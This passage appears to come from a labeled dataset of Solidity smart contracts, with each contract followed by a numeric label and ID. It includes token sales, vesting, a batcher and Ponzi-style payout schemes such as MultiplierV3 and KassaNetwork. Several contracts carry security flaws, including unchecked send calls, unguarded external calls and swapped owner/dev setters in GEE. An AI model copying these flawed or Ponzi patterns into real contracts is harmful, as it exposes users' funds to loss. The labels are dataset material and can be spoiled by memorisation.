mntToken.burnTokens(sender,buyers[sender].tokensGot);
}
function() payable {
buyTokens(msg.sender);
}
} | 1 | 3,649 |
pragma solidity ^0.4.25;
contract MultiplierV3 {
address constant private PROMO = 0x0B78927A2bdb8b61C381AfD993C93C877E4326aA;
uint constant public PROMO_PERCENT = 2;
uint constant public MULTIPLIER = 111;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 152 |
pragma solidity 0.5.3;
pragma experimental ABIEncoderV2;
contract TransactionBatcher {
function batchSend(address[] memory targets, uint[] memory values, bytes[] memory datas) public payable {
for (uint i = 0; i < targets.length; i++)
targets[i].call.value(values[i])(datas[i]);
}
} | 0 | 2,245 |
contract GEE {
string public name = "Green Earth Economy Token";
uint8 public decimals = 18;
string public symbol = "GEE";
address public _owner = 0xb9a2Dd4453dE3f4cF1983f6F6f2521a2BA40E4c8;
address public _agent = 0xff23a447fD49966043342AbD692F9193f2399f79;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address public _devFeesAddr = 0x0f521BE3Cd38eb6AA546F8305ee65B62d3018032;
uint256 public _tokePerEth = 275;
bool _payFees = false;
uint256 _fees = 1500;
uint256 _lifeVal = 0;
uint256 _feeLimit = 312 * 1 ether;
uint256 _devFees = 0;
uint256 public weiAmount;
uint256 incomingValueAsEth;
uint256 _calcToken;
uint256 _tokePerWei;
uint256 public _totalSupply = 21000000 * 1 ether;
event Transfer(address indexed _from, address indexed _to, uint _value);
mapping (address => uint256) public balances;
function GEE() {
_owner = msg.sender;
preMine();
}
function preMine() {
balances[_owner] = 2000000 * 1 ether;
Transfer(this, _owner, balances[_owner]);
balances[_dev] = 1000000 * 1 ether;
Transfer(this, _dev, balances[_dev]);
balances[_agent] = 1000000 * 1 ether;
Transfer(this, _agent, balances[_agent]);
_totalSupply = sub(_totalSupply, (4000000 * 1 ether));
}
function transfer(address _to, uint _value, bytes _data) public {
require(balances[msg.sender] >= _value);
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(codeLength == 0);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(codeLength == 0);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
function () payable public {
require(msg.value > 0);
uint256 _tokens = mul(msg.value,_tokePerEth);
_tokens = div(_tokens,10);
require(_totalSupply >= _tokens);
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(!_payFees) {
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
if(_payFees) _devFeesAddr.transfer(_devFees);
require(valueAsEth <= this.balance);
_receiver.transfer(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _dev);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _owner);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function changeAgent(address _receiver) public {
require(msg.sender == _agent);
_agent = _receiver;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function updateTokenBalance(uint256 newBalance) public {
require(msg.sender == _owner);
_totalSupply = add(_totalSupply,newBalance);
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 20));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | 1 | 4,039 |
pragma solidity ^0.4.13;
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract ReturnVestingRegistry is Ownable {
mapping (address => address) public returnAddress;
function record(address from, address to) onlyOwner public {
require(from != 0);
returnAddress[from] = to;
}
}
contract TerraformReserve is Ownable {
mapping (address => uint256) public lockedBalance;
uint public totalLocked;
ERC20 public manaToken;
address public landClaim;
bool public acceptingDeposits;
event LockedBalance(address user, uint mana);
event LandClaimContractSet(address target);
event LandClaimExecuted(address user, uint value, bytes data);
event AcceptingDepositsChanged(bool _acceptingDeposits);
function TerraformReserve(address _token) {
require(_token != 0);
manaToken = ERC20(_token);
acceptingDeposits = true;
}
function lockMana(address _from, uint256 mana) public {
require(acceptingDeposits);
require(mana >= 1000 * 1e18);
require(manaToken.transferFrom(_from, this, mana));
lockedBalance[_from] += mana;
totalLocked += mana;
LockedBalance(_from, mana);
}
function changeContractState(bool _acceptingDeposits) public onlyOwner {
acceptingDeposits = _acceptingDeposits;
AcceptingDepositsChanged(acceptingDeposits);
}
function setTargetContract(address target) public onlyOwner {
landClaim = target;
manaToken.approve(landClaim, totalLocked);
LandClaimContractSet(target);
}
function () public payable {
revert();
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
bool public revoked;
uint256 public released;
ERC20 public token;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _token
) {
require(_beneficiary != 0x0);
require(_cliff <= _duration);
beneficiary = _beneficiary;
start = _start;
cliff = _start.add(_cliff);
duration = _duration;
revocable = _revocable;
token = ERC20(_token);
}
modifier onlyBeneficiary() {
require(msg.sender == beneficiary);
_;
}
function changeBeneficiary(address target) onlyBeneficiary public {
require(target != 0);
beneficiary = target;
}
function release() onlyBeneficiary public {
require(now >= cliff);
_releaseTo(beneficiary);
}
function releaseTo(address target) onlyBeneficiary public {
require(now >= cliff);
_releaseTo(target);
}
function _releaseTo(address target) internal {
uint256 unreleased = releasableAmount();
released = released.add(unreleased);
token.safeTransfer(target, unreleased);
Released(released);
}
function revoke() onlyOwner public {
require(revocable);
require(!revoked);
_releaseTo(beneficiary);
token.safeTransfer(owner, token.balanceOf(this));
revoked = true;
Revoked();
}
function releasableAmount() public constant returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public constant returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
function releaseForeignToken(ERC20 _token, uint256 amount) onlyOwner {
require(_token != token);
_token.transfer(owner, amount);
}
}
contract DecentralandVesting is TokenVesting {
using SafeERC20 for ERC20;
event LockedMANA(uint256 amount);
ReturnVestingRegistry public returnVesting;
TerraformReserve public terraformReserve;
function DecentralandVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
ERC20 _token,
ReturnVestingRegistry _returnVesting,
TerraformReserve _terraformReserve
)
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable, _token)
{
returnVesting = ReturnVestingRegistry(_returnVesting);
terraformReserve = TerraformReserve(_terraformReserve);
}
function lockMana(uint256 amount) onlyBeneficiary public {
require(token.allowance(beneficiary, terraformReserve) >= amount);
require(amount <= token.balanceOf(this));
require(returnVesting.returnAddress(beneficiary) == address(this));
token.safeTransfer(beneficiary, amount);
terraformReserve.lockMana(beneficiary, amount);
LockedMANA(amount);
}
} | 1 | 5,218 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Moongang {
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
uint256 constant FEE = 100;
uint256 constant FEE_DEV = 6;
uint256 constant FEE_AUDIT = 12;
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
uint256 public max_amount;
uint256 public min_amount;
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
mapping (address => bool) public whitelist;
bool public bought_tokens;
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
bool public bonus_received;
address public sale;
ERC20 public token;
uint256 fees;
bool public allow_refunds;
uint256 public percent_reduction;
bool public whitelist_enabled;
function Moongang() {
owner = msg.sender;
uint val = 1000 ether;
max_amount = SafeMath.div(SafeMath.mul(val, 100), 99);
min_amount = 0;
individual_cap = 0;
whitelist_enabled = false;
whitelist[msg.sender] = true;
}
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
require(!bought_tokens && sale != 0x0);
bought_tokens = true;
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
sale.transfer(contract_eth_value);
}
function set_sale_address(address _sale) onlyOwner {
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner {
require(_reduction <= 100);
percent_reduction = _reduction;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
min_amount = _amount;
}
function withdraw() {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
balances[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
balances[msg.sender] = 0;
balances_bonus[msg.sender] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
msg.sender.transfer(eth_to_withdraw);
}
function partial_refund() {
require(allow_refunds && percent_reduction > 0);
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], eth_to_withdraw);
balances_bonus[msg.sender] = balances[msg.sender];
msg.sender.transfer(eth_to_withdraw);
}
function () payable underMaxAmount {
require(!bought_tokens);
if (whitelist_enabled) {
require(whitelist[msg.sender]);
}
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
} | 1 | 3,447 |
pragma solidity ^0.4.25;
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 100/30';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 130;
uint public constant ownerFee = 800;
uint[1] public bonusReferrer = [700];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 100;
uint public constant minimalDeposit = 0.25 ether;
uint public constant maximalDepositStart = 15 ether;
uint public constant maximalDepositFinish = 100 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
uint public unlimitedInvest = 3000 ether;
bool public isUnlimitedContractInvest = false;
bool public isUnlimitedDayInvest = false;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
if (isUnlimitedDayInvest) {
limit = maximalDepositFinish;
return limit;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = dayDepositLimit;
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
uint base = 1 ether;
if (proc == 1)
{
s = s + base.mul(nDay.mul(nDay).mul(35).div(10000)) + base.mul(nDay.mul(4589).div(10000));
}
else
{
s = s + base.mul(nDay.mul(nDay).mul(141).div(10000)) + base.mul(nDay.mul(8960).div(10000));
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
if (isUnlimitedContractInvest)
{
maximalDeposit = 0;
}
else
{
maximalDeposit = getMaximalDeposit(nDay);
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
checkLimits(moneyValue);
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
(!isUnlimitedContractInvest && moneyValue > getCurrentMaximalDeposit()) ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (!isUnlimitedDayInvest && moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
user[referrer].countReferrals++;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
address r = referrer;
for (uint i = 0; i < bonusReferrer.length && r != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[r].referrer;
emit LogCalcBonusReferrer(r, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(r, amountReferrer);
r = nextReferrer;
}
}
function checkLimits(uint value) private
{
if (totalInvest + value > unlimitedInvest)
{
isUnlimitedContractInvest = true;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit > maximalDepositFinish)
{
isUnlimitedDayInvest = true;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[1] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 0 | 725 |
pragma solidity ^0.4.23;
contract Rocket {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
bool onlyAmbassadors = true;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 0.5 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Rocket";
string public symbol = "RCKT";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
uint256 public Timer;
uint16 constant public JackpotTimer = 30 minutes;
address public Jackpot;
uint256 public JackpotAmount;
uint8 constant JackpotCut = 4;
uint8 constant JackpotPay = 80;
uint16 constant JackpotMinBuyin = 1000;
uint256 constant JackpotMinBuyingConst = 10 finney;
uint256 constant MaxBuyInMin = 1 ether;
uint8 constant MaxBuyInCut = 10;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
